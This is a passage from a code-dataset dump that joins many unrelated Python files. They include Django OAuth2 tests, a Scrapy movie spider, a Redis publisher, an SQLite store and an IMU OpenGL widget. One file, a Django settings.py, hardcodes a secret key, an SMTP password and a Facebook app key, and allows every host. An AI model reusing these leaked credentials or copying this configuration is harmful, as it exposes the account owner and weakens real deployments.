OAuth2LinkProviderViewTests(APITestCase):\n fixtures = ['users.json']\n\n def setUp(self):\n self.request_url = '/api/v1/oauth2/link/'\n self.client.force_authenticate(user=User.objects.get(username='user2'))\n\n def test_get_oauth2_link(self):\n query_params = {'provider': 'accounts.google.com'}\n with vcr.use_cassette('oidc/fixtures/vcr/generic_discovery.yaml'):\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_302_FOUND)\n\n def test_get_oauth2_link_missing_provider(self):\n response = self.client.get(self.request_url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_get_oauth2_link_bad_provider(self):\n query_params = {'provider': 'bad.website.net'}\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\nclass OAuth2ReturnViewTests(APITestCase):\n def setUp(self):\n self.request_url = '/api/v1/oauth2/code/'\n self.state = 'G6UTVEHWEOHL7847LA3KPNLEVC96ZO3O'\n self.code = '4/P7q7W91a-oMsCeLvIaQm6bTrgtp7'\n\n #TODO: how to stub a Flow object?\n\n #TODO: this is an ugly kludge to set up a session since django\n # apparently takes more than 5 years to fix the bugs in its\n # unit testing framework:\n # https://code.djangoproject.com/ticket/10899\n # https://code.djangoproject.com/ticket/11475\n engine = import_module(settings.SESSION_ENGINE)\n store = engine.SessionStore()\n store.save() # we need to make load() work, or the cookie is worthless\n self.session = store\n self.client.cookies[settings.SESSION_COOKIE_NAME] = store.session_key\n\n # add parameters to session\n session = self.session\n session['oauth2_flow'] = 'flow' #TODO\n session['oauth2_csrf_token'] = self.state\n session['oauth2_provider'] = 'accounts.google.com'\n session['oauth2_is_link_mode'] = False\n session.save()\n\n @skip(\"can't test this\")\n def test_get_oauth2_return(self):\n query_params = {\n 'state': self.state,\n 'code': self.code\n }\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_get_oauth2_return_missing_csrf(self):\n query_params = {\n 'code': self.code\n }\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_get_oauth2_return_invalid_csrf(self):\n query_params = {\n 'state': 'L2Q1J9MHV3RRCEHDH88DSZD43C79GE65',\n 'code': self.code\n }\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_get_oauth2_return_missing_code(self):\n query_params = {\n 'state': self.state\n }\n response = self.client.get(self.request_url, data=query_params)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\nclass OAuth2ReturnViewNoSessionTests(APITestCase):\n def setUp(self):\n self.request_url = '/api/v1/oauth2/code/'\n\n def test_get_oauth2_return_no_session(self):\n response = self.client.get(self.request_url)\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n","sub_path":"oidc/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"108824598","text":"\"\"\"Project Settings.\"\"\"\nimport os\nimport dj_database_url\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.9/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = '&1pqowa-#idv%)+&&s!yqnd8qf%sm(c1vlabzy-97qftl(kzyv'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = False\n\nALLOWED_HOSTS = []\n\nADMINS = [\n ('Ankush Chadda', 'contact@aoswebsolutions.com'),\n]\n\n\n# Application definition\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'whitenoise.runserver_nostatic',\n 'django.contrib.staticfiles',\n\n 'projects',\n 'ideas',\n 'website',\n 'events',\n 'blog',\n 'users',\n 'social.apps.django_app.default',\n 'storages'\n]\n\nMIDDLEWARE_CLASSES = [\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'ctsc.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django.template.context_processors.media',\n 'website.context_processors.facebook',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'ctsc.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/1.9/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.9/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.9/howto/static-files/\n\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, \"static\"),\n]\nSTATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\n\nMEDIA_URL = '/media/'\nMEDIA_ROOT = BASE_DIR\n\n# Update database configuration with $DATABASE_URL.\ndb_from_env = dj_database_url.config(conn_max_age=500)\nDATABASES['default'].update(db_from_env)\n\n# Honor the 'X-Forwarded-Proto' header for request.is_secure()\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# Allow all host headers\nALLOWED_HOSTS = ['*']\n\n# Simplified static file serving. Static files served from app itself\nSTATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'\n\n# Social Auth\nAUTHENTICATION_BACKENDS = (\n 'social.backends.facebook.FacebookOAuth2',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\n# FB App\nSOCIAL_AUTH_FACEBOOK_KEY = '1604541223178135'\nSOCIAL_AUTH_FACEBOOK_SCOPE = ['email']\nSOCIAL_AUTH_FACEBOOK_PROFILE_EXTRA_PARAMS = {\n 'fields': 'id, name, email'\n}\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'formatters': {\n 'verbose': {\n 'format': ('%(asctime)s [%(process)d] [%(levelname)s] ' +\n 'pathname=%(pathname)s lineno=%(lineno)s ' +\n 'funcname=%(funcName)s %(message)s'),\n 'datefmt': '%Y-%m-%d %H:%M:%S'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n }\n },\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse',\n },\n },\n 'handlers': {\n 'console': {\n 'level': 'INFO',\n 'class': 'logging.StreamHandler',\n 'formatter': 'verbose'\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django': {\n 'handlers': ['console'],\n 'propagate': True,\n },\n 'django.request': {\n 'handlers': ['console','mail_admins'],\n 'level': 'ERROR',\n 'propagate': False,\n },\n }\n}\n\n# Emails\nEMAIL_HOST = 'smtp.mailgun.org'\nEMAIL_HOST_USER = 'team@ctsc-india.org'\nEMAIL_HOST_PASSWORD = 'ctsc4eva'\nEMAIL_PORT = 587\nAWS_S3_SECURE_URLS = False\nif DEBUG:\n from local_settings import *\nelse:\n # Heroku Settings\n\n SOCIAL_AUTH_FACEBOOK_SECRET = os.environ['FB_APP_SECRET']\n # Storage of User uploaded media\n DEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage'\n\n # S3 Access for user media only\n AWS_ACCESS_KEY_ID = os.environ['AWS_KEY']\n AWS_SECRET_ACCESS_KEY = os.environ['AWS_SECRET']\n AWS_STORAGE_BUCKET_NAME = os.environ['AWS_BUCKET']\n","sub_path":"ctsc/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"319874647","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue May 5 14:24:22 2015\r\n\r\n@author: A30294\r\n\"\"\"\r\nclass bc():\r\n b1=15\r\n def b2():\r\n return 20\r\n\r\nimport numpy as np\r\nimport time,sys,os\r\n\r\nt=time.time()\r\na=np.percentile([1,3,5,7,9],75);\r\nb=bc()\r\n\r\n\r\nc=bc\\\r\n.b2()\r\ntime.sleep(2)\r\nt2=time.time()\r\nprint(t2)\r\ntdiff=t2-t","sub_path":"numpy/nptest.py","file_name":"nptest.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"350425915","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = 'Liwink'\n\nimport sys\nfrom redis import StrictRedis as Redis\n\n\ndef _publish(channel, msg):\n subscribers = r.smembers(channel) or []\n for subscriber in subscribers:\n r.rpush(\"{channel}:{subscriber}\".format(channel=channel, subscriber=subscriber), msg)\n\n\nif __name__ == \"__main__\":\n r = Redis(host=\"localhost\", port=6379, db=0)\n _publish(sys.argv[1], sys.argv[2])\n","sub_path":"redis_pubsub/1/publish_sample.py","file_name":"publish_sample.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"5875889","text":"import scrapy\nfrom lxml import etree\n# import lxml.etree\nfrom spiders.items import SpidersItem\n\n'''\n使用 Scrapy 框架和 XPath 抓取猫眼电影的前 10 个电影名称、电影类型和上映时间，并以 UTF-8 字符集保存到 csv 格式的文件中。\n\n猫眼电影网址： https://maoyan.com/films?showType=3\n\n要求：必须使用 Scrapy 框架及其自带的 item pipeline、选择器功能，不允许使用 bs4 进行页面内容的筛选\n'''\n\n\nclass MaoyanspiderSpider(scrapy.Spider):\n name = 'maoyanspider'\n allowed_domains = ['maoyan.com']\n start_urls = ['https://maoyan.com']\n\n # def parse(self, response):\n # pass\n\n def start_requests(self):\n url = 'https://maoyan.com/films?showType=3'\n yield scrapy.Request(url=url, callback=self.parse)\n\n def parse(self, response):\n self.items = []\n html = etree.HTML(response.text)\n dls = html.xpath('//*/dd')\n for dl in dls:\n name = dl.xpath(\n './div[1]/div[2]/a/div/div[1]/span/text()')[0]\n type = dl.xpath(\n './div[1]/div[2]/a/div/div[2]/text()')[1].strip()\n time = dl.xpath(\n './div[1]/div[2]/a/div/div[4]/text()')[1].strip()\n href = dl.xpath(\"./div[1]/a/@href\")[0]\n item = SpidersItem()\n item[\"name\"] = name\n item[\"type\"] = type\n item[\"time\"] = time\n url = f'https://maoyan.com{href}'\n yield scrapy.Request(\n url=url, meta={\"item\": item}, callback=self.parse_detail)\n # self.items.append(item)\n # return self.items\n\n def parse_detail(self, response):\n item = response.meta[\"item\"]\n html = etree.HTML(response.text)\n short = html.xpath(\n '//*[@id=\"app\"]/div/div[1]/div/div[3]/div[1]/div[1]/div[2]/span/text()')[0]\n item[\"short\"] = short\n yield item\n","sub_path":"week01/zy2/spiders/spiders/spiders/maoyanspider.py","file_name":"maoyanspider.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"403685836","text":"from common.logging_wrapper import setup_logging\nfrom predict_office.tensor_flow_model import TTensorFlowOfficeModel\nimport argparse\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--train-pool\", dest='train_pool')\n parser.add_argument(\"--model-folder\", dest='model_folder', required=False, default=\"model\")\n parser.add_argument(\"--bigrams-path\", dest='bigrams_path', required=False, default=\"office_ngrams.txt\")\n parser.add_argument(\"--epoch-count\", dest='epoch_count', required=False, type=int, default=10)\n parser.add_argument(\"--row-count\", dest='row_count', required=False, type=int)\n parser.add_argument(\"--dense-layer-size\", dest='dense_layer_size', required=False, type=int, default=128)\n parser.add_argument(\"--batch-size\", dest='batch_size', required=False, type=int, default=256)\n parser.add_argument(\"--worker-count\", dest='worker_count', required=False, type=int, default=3)\n parser.add_argument(\"--steps-per-epoch\", dest='steps_per_epoch', required=False, type=int, default=None)\n parser.add_argument(\"--device\", dest='device', required=False, default=\"/cpu:0\", help=\"can be /cpu:0 or /gpu:0\")\n return parser.parse_args()\n\n\ndef main():\n logger = setup_logging(log_file_name=\"predict_office_train.log\")\n args = parse_args()\n\n model = TTensorFlowOfficeModel(logger, args.bigrams_path, args.model_folder, create_model=True,\n work_pool_path=args.train_pool, row_count=args.row_count)\n model.train_tensorflow(args.dense_layer_size,\n epoch_count=args.epoch_count,\n batch_size=args.batch_size,\n workers_count=args.worker_count,\n steps_per_epoch=args.steps_per_epoch,\n device_name=args.device\n )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tools/predict_office/scripts/tf_office_train.py","file_name":"tf_office_train.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"510883831","text":"#!/usr/bin/env python3\n\n\"\"\"Split CIF timetable file into file chunks in the 'storage' directory by ID or if more than 65535 lines long\"\"\"\nimport sys\n\nN = 0\nM = 0\n\nKEY = None\nNAME = None\n\nfin = sys.stdin\nfout = None\nfor line in fin:\n N += 1\n ID = line[0:2]\n BUFFER = False\n\n if ID != KEY:\n if ID in ['BS', 'BX', 'CR', 'LI', 'LO', 'LT']:\n if NAME != 'PATH':\n NAME = 'PATH'\n BUFFER = True\n elif ID in ['TI', 'TA', 'TD']:\n if NAME != 'TR':\n NAME = 'TR'\n BUFFER = True\n else:\n NAME = ID\n BUFFER = True\n\n if (N > 65535 and ID == 'BS') or BUFFER:\n M += 1\n if fout:\n fout.close()\n filename = 'output/{}_{}'.format(NAME, str(M).zfill(3))\n fout = open(filename, 'w')\n N = 0\n fout.write(line)\n\n KEY = ID\n\nfout.close()\n","sub_path":"timetable/wtt-split.py","file_name":"wtt-split.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"129762967","text":"\"\"\"\nCreate and read/write to Sqlite database\nhttps://docs.python.org/3/library/sqlite3.html#sqlite3.Connection\nhttp://www.sqlitetutorial.net/sqlite-python/create-tables/\nhttps://www.pythoncentral.io/advanced-sqlite-usage-in-python/\n\"\"\"\n\nimport datetime\nimport sqlite3\nfrom sqlite3 import Error\n\nclass Lane_DB():\n def __init__(self):\n \"\"\" Initialize the lane database \"\"\"\n self.DB = sqlite3.connect('lane_closures.db', detect_types=sqlite3.PARSE_DECLTYPES|sqlite3.PARSE_COLNAMES)\n\n self.cursor = self.DB.cursor()\n self.cursor.execute('''CREATE TABLE IF NOT EXISTS lanes(\n id INTEGER PRIMARY KEY,\n closure_id INTEGER,\n primary_street TEXT,\n date_closed_from TIMESTAMP,\n date_closed_to TIMESTAMP,\n boundaries TEXT,\n traffic_effect TEXT,\n published INTEGER\n )''')\n\n def write(self, lane_data):\n \"\"\" lane_data (array):\n [0] closure_id\n [1] primary_street\n [2] date_closed_from\n [3] date_closed_to\n [4] boundaries\n [5] traffic_effect\n [6] published (0/1)\"\"\"\n\n if len(lane_data) == 6:\n try:\n self.cursor.execute('INSERT INTO lanes(closure_id, primary_street, date_closed_from, date_closed_to, boundaries, traffic_effect, published) VALUES (?)', lane_data)\n except sqlite3.Error as error:\n print(error)\n finally:\n self.DB.commit()","sub_path":"lib/db_store.py","file_name":"db_store.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"441491041","text":"__author__ = 'bbizic'\n\ndef addNumbers():\n \"\"\"this is how you write documentation in Python\"\"\"\n i = 2; #this is how you comment line\n j = 4;\n z = i + j;\n print(str(z));\n\ndef addWithParam(firstNume, secondNume):\n result = firstNume + secondNume;\n return result;\n\ndef withDefParam(someParam = 2):\n return someParam;\n\naddNumbers();\n\nprint(addWithParam(3,5));\n\nprint(addNumbers.__doc__);\nprint(dir());\n","sub_path":"PythonTest/funtions.py","file_name":"funtions.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"497124552","text":"# -*- coding: utf-8 -*- \n# Author: Tyler Lau\n\nimport numpy\nfrom constants import phon_to_feat\nfrom constants import n_feat\n\n# Using numpy, determine the Euclidean distance between the vectors, float\ndef dist(p, q):\n '''Takes in the actual vector (determined by neural net) and determines distance from output vectors'''\n return numpy.linalg.norm(numpy.array(p) - numpy.array(q))\n\ndef chunks(l, n):\n '''\n Yield successive n-sized chunks from list.\n Apply list function to return list\n '''\n for i in range(0, len(l), n):\n yield l[i:i+n]\n\ndef smooth(p):\n '''\n Error smoothing function\n Takes the vector output by the neural network\n Takes dictionary that converts suffix to relevant tuple\n Converts those partitions to the closest phoneme vectors\n '''\n # Partition the input vector into individual phonemes\n chunked_list = list(chunks(p, n_feat))\n\n # Get list of phoneme tuples\n phoneme_tuples = phon_to_feat.values()\n\n output_tuple = ()\n\n # For potential phoneme in tuple, find closest phoneme to it using dictionary keying distance to phoneme\n for phoneme in chunked_list:\n dist_from_realphon = {dist(phoneme, phoneme_tuples[i]): phoneme_tuples[i] for i in range(len(phoneme_tuples))}\n smoothed_vector = min(dist_from_realphon.keys())\n output_tuple += dist_from_realphon[smoothed_vector]\n\n return output_tuple\n","sub_path":"Cleanup20160624/Main Code 9/smooth.py","file_name":"smooth.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"474454026","text":"from pycore.schema_gen import set_schema_enums\n\ncustomHeaderPrefix = \"X-OA-\"\n\ndef CH(headerName):\n return customHeaderPrefix + headerName\n\nAppKeys = {\n \"open-account\": \"130da3dc2a9bb1893d5bf85e3c67452d\",\n}\n\ndef get_ok_schema(data_schema={\"type\": \"object\" }):\n schema = {\n \"type\": \"object\",\n \"properties\": {\n \"data\": data_schema,\n \"ok\": { \"type\": \"boolean\", \"enum\": [True] },\n \"reason\": { \"type\": \"string\", \"enum\": [\"\"]}\n },\n \"required\": [ \"ok\",\"reason\", \"data\" ]\n }\n return schema\n\ndef get_fail_schema(reason=\"\"):\n schema = {\n \"type\": \"object\",\n \"properties\": {\n \"data\": {\"type\": \"object\"},\n \"ok\": { \"type\": \"boolean\", \"enum\": [False] },\n \"reason\": { \"type\": \"string\", \"enum\": [reason]}\n },\n \"required\": [ \"ok\",\"reason\" ]\n }\n return schema\n\ndef get_userinfo_detail_schema(enums=None):\n schema = {\n \"type\": \"object\",\n \"properties\": {\n \"id\": { \"type\": \"integer\" },\n \"uid\": { \"type\": \"string\"},\n \"tel\": { \"type\": \"string\"},\n \"nickname\": { \"type\": \"string\"},\n \"avatar\": { \"type\": \"string\" },\n \"sex\": { \"type\": \"integer\"},\n \"birthday\": { \"type\": \"string\" },\n \"userType\": { \"type\": \"integer\"},\n \"regInviteCode\": { \"type\": \"string\" },\n \"inviteCode\": { \"type\": \"string\"},\n \"createTime\": { \"type\": \"integer\"}\n },\n \"required\": [ \"id\", \"uid\", \"tel\", \"nickname\", \"avatar\", \"sex\", \"birthday\", \"userType\", \"regInviteCode\", \"inviteCode\", \"createTime\"]\n }\n if enums:\n set_schema_enums(schema['properties'], enums)\n return schema\n\n\ndef get_user_login_schema(enums=None):\n data_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"token\": { \"type\": \"string\" },\n \"userInfo\": get_userinfo_detail_schema(enums=enums)\n },\n \"required\": [ \"token\", \"userInfo\" ]\n }\n schema = get_ok_schema(data_schema)\n return schema\n\ndef get_userinfo_schema(enums=None):\n data_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"userInfo\": get_userinfo_detail_schema(enums=enums)\n },\n \"required\": [\"userInfo\" ]\n }\n schema = get_ok_schema(data_schema)\n return schema\n\ndef get_sms_code_schema():\n data_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"code\": {\n \"type\": \"string\"\n }\n },\n \"required\": [\n \"code\"\n ]\n }\n schema = get_ok_schema(data_schema)\n return schema","sub_path":"test/pycore/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2637,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"338926730","text":"from common_fixtures import * # NOQA\nimport websocket as ws\nimport pytest\n\n\ndef get_logs(client):\n hosts = client.list_host(kind='docker', removed_null=True)\n assert len(hosts) > 0\n in_log = random_str()\n cmd = '/bin/bash -c \"echo {}; sleep 2\"'.format(in_log)\n c = client.create_container(imageUuid=TEST_IMAGE_UUID, command=cmd)\n c = client.wait_success(c)\n logs = c.logs()\n return logs, in_log, c\n\n\ndef test_logs_token(client):\n logs, in_log, c = get_logs(client)\n conn = ws.create_connection(logs.url + '?token='+logs.token)\n result = conn.recv()\n assert result is not None\n assert in_log in result\n\n delete_all(client, [c])\n\n\ndef test_logs_no_token(client):\n logs, _, c = get_logs(client)\n with pytest.raises(Exception) as excinfo:\n ws.create_connection(logs.url)\n assert 'Handshake status 401' in str(excinfo.value)\n delete_all(client, [c])\n\n\ndef test_host_api_garbage_token(client):\n logs, _, c = get_logs(client)\n with pytest.raises(Exception) as excinfo:\n ws.create_connection(logs.url+'?token=random.garbage.token')\n assert 'Handshake status 401' in str(excinfo.value)\n delete_all(client, [c])\n","sub_path":"tests/validation/cattlevalidationtest/core/test_logs_api.py","file_name":"test_logs_api.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"47306854","text":"# -*- coding: utf-8 -*- \n\"\"\"\nIMU Plugin\nCopyright (C) 2010-2012 Olaf Lüke \n\nimu_gl_widget.py: IMU OpenGL representation\n\nThis program is free software; you can redistribute it and/or\nmodify it under the terms of the GNU General Public License \nas published by the Free Software Foundation; either version 2 \nof the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License for more details.\n\nYou should have received a copy of the GNU General Public\nLicense along with this program; if not, write to the\nFree Software Foundation, Inc., 59 Temple Place - Suite 330,\nBoston, MA 02111-1307, USA.\n\"\"\"\n\nfrom PyQt4.QtOpenGL import QGLWidget\n\nfrom OpenGL.GL import GL_COLOR_BUFFER_BIT, GL_DEPTH_BUFFER_BIT, GL_DEPTH_TEST, GL_LESS, GL_MODELVIEW, GL_POLYGON, GL_PROJECTION, GL_SMOOTH, glBegin, glClear, glClearColor, glClearDepth, glColor3f, glDepthFunc, glEnable, glEnd, glLoadIdentity, glMatrixMode, glPopMatrix, glPushMatrix, glShadeModel, glTranslatef, glVertex3fv, glViewport, glScalef, glMultMatrixf, GL_LINES, glLineWidth\nfrom OpenGL.GLU import gluPerspective\n\nclass IMUGLWidget(QGLWidget):\n def __init__(self, parent=None, name=None):\n QGLWidget.__init__(self, parent, name)\n self.parent = parent\n \n# col = parent.palette().background().color()\n# self.color_background = (col.redF(), col.greenF(), col.blueF(), 1.0)\n self.color_background = (0.85, 0.85, 0.85, 1.0)\n self.color_led_red = (1.0, 0.0, 0.0)\n self.color_led_green = (0.0, 1.0, 0.0)\n self.color_board = (0.0, 0.7, 0.0)\n self.color_connector = (0.0, 0.0, 0.0)\n \n self.vertices = (\n (-1.0,-1.0,-1.0),\n (1.0,-1.0,-1.0),\n (1.0,1.0,-1.0), \n (-1.0,1.0,-1.0), \n (-1.0,-1.0,1.0),\n (1.0,-1.0,1.0), \n (1.0,1.0,1.0), \n (-1.0,1.0,1.0)\n )\n \n self.pins = [(-0.8, -0.9), (-0.8, -0.65), (-0.8, -0.4), \n (-0.6, -0.9), (-0.6, -0.65), (-0.6, -0.4),\n (0.9, 0.8), (0.65, 0.8), (0.4, 0.8), (0.15, 0.8), \n (0.9, 0.6), (0.65, 0.6), (0.4, 0.6), (0.15, 0.6)]\n\n self.m = [[1, 0, 0, 0], \n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 1]]\n\n self.rel_x = 0\n self.rel_y = 0\n self.rel_z = 0\n self.rel_w = 0\n \n self.save_orientation_flag = False\n \n def update(self, x, y, z, w):\n if self.save_orientation_flag:\n self.rel_x = x\n self.rel_y = y\n self.rel_z = z\n self.rel_w = w\n self.save_orientation_flag = False\n self.parent.orientation_label.setText(\"\")\n self.parent.orientation_label.setFixedHeight(0)\n \n # conjugate\n x = -x\n y = -y\n z = -z\n \n wn = w * self.rel_w - x * self.rel_x - y * self.rel_y - z * self.rel_z\n xn = w * self.rel_x + x * self.rel_w + y * self.rel_z - z * self.rel_y\n yn = w * self.rel_y - x * self.rel_z + y * self.rel_w + z * self.rel_x\n zn = w * self.rel_z + x * self.rel_y - y * self.rel_x + z * self.rel_w\n\n x = xn\n y = yn\n z = zn\n w = wn\n \n xx = x * x\n yy = y * y\n zz = z * z\n xy = x * y\n xz = x * z\n yz = y * z\n wx = w * x\n wy = w * y\n wz = w * z\n\n self.m = [[1.0 - 2.0*(yy + zz), 2.0*(xy - wz), 2.0*(xz + wy), 0.0],\n [2.0*(xy + wz), 1.0 - 2.0*(xx + zz), 2.0*(yz - wx), 0.0],\n [2.0*(xz - wy), 2.0*(yz + wx), 1.0 - 2.0*(xx + yy), 0.0],\n [0.0, 0.0, 0.0, 1.0]]\n \n self.updateGL()\n\n def initializeGL(self): \n glClearColor(*self.color_background) \n glClearDepth(1.0) \n glDepthFunc(GL_LESS) \n glEnable(GL_DEPTH_TEST) \n glShadeModel(GL_SMOOTH) \n \n glMatrixMode(GL_PROJECTION)\n glLoadIdentity() \n \n glMatrixMode(GL_MODELVIEW)\n \n def resizeGL(self, width, height):\n if height == 0: \n height = 1\n \n glViewport(0, 0, width, height) \n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluPerspective(45.0, float(width)/float(height), 0.1, 100.0)\n glMatrixMode(GL_MODELVIEW)\n \n # main drawing function. \n def paintGL(self):\n if self.parent.ipcon == None:\n return \n \n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n glLoadIdentity()\n \n # Move Right And Into The Screen\n glTranslatef(0.0, 0.0, -5.0) \n\n glMultMatrixf(self.m)\n \n # Draw board\n glColor3f(*self.color_board)\n glColor3f(0.0, 0.0, 0.0)\n self.draw_cuboid(1.0, 1.0, 0.1)\n \n # Draw USB connector\n glColor3f(0.5, 0.51, 0.58)\n glPushMatrix()\n glTranslatef(0.0, -0.8, 0.2)\n self.draw_cuboid(0.2, 0.25, 0.1)\n glPopMatrix()\n \n # Draw button right\n glPushMatrix()\n glColor3f(0.5, 0.51, 0.58)\n glTranslatef(0.65, -0.95, 0.125)\n self.draw_cuboid(0.1, 0.075, 0.05)\n glColor3f(0.0, 0.0, 0.0)\n glTranslatef(0.0, -0.075, 0.0)\n self.draw_cuboid(0.05, 0.025, 0.045)\n glPopMatrix()\n \n # Draw button left\n glPushMatrix()\n glColor3f(0.5, 0.51, 0.58)\n glTranslatef(-0.65, -0.95, 0.125)\n self.draw_cuboid(0.1, 0.075, 0.05)\n glColor3f(0.0, 0.0, 0.0)\n glTranslatef(0.0, -0.075, 0.0)\n self.draw_cuboid(0.05, 0.025, 0.045)\n glPopMatrix()\n \n # Draw btb left top\n glPushMatrix()\n glColor3f(1.0, 1.0, 1.0)\n glTranslatef(-0.75, 0.0, 0.25)\n self.draw_cuboid(0.13, 0.5, 0.15)\n glPopMatrix()\n \n # Draw btb right top\n glPushMatrix()\n glColor3f(1.0, 1.0, 1.0)\n glTranslatef(0.75, 0.0, 0.25)\n self.draw_cuboid(0.13, 0.5, 0.15)\n glPopMatrix()\n \n # Draw btb left bottom\n glPushMatrix()\n glColor3f(1.0, 1.0, 1.0)\n glTranslatef(-0.75, 0.0, -0.2)\n self.draw_cuboid(0.13, 0.5, 0.1)\n glPopMatrix()\n \n # Draw btb right bottom\n glPushMatrix()\n glColor3f(1.0, 1.0, 1.0)\n glTranslatef(0.75, 0.0, -0.2)\n self.draw_cuboid(0.13, 0.5, 0.1)\n glPopMatrix()\n \n # Draw bricklet port 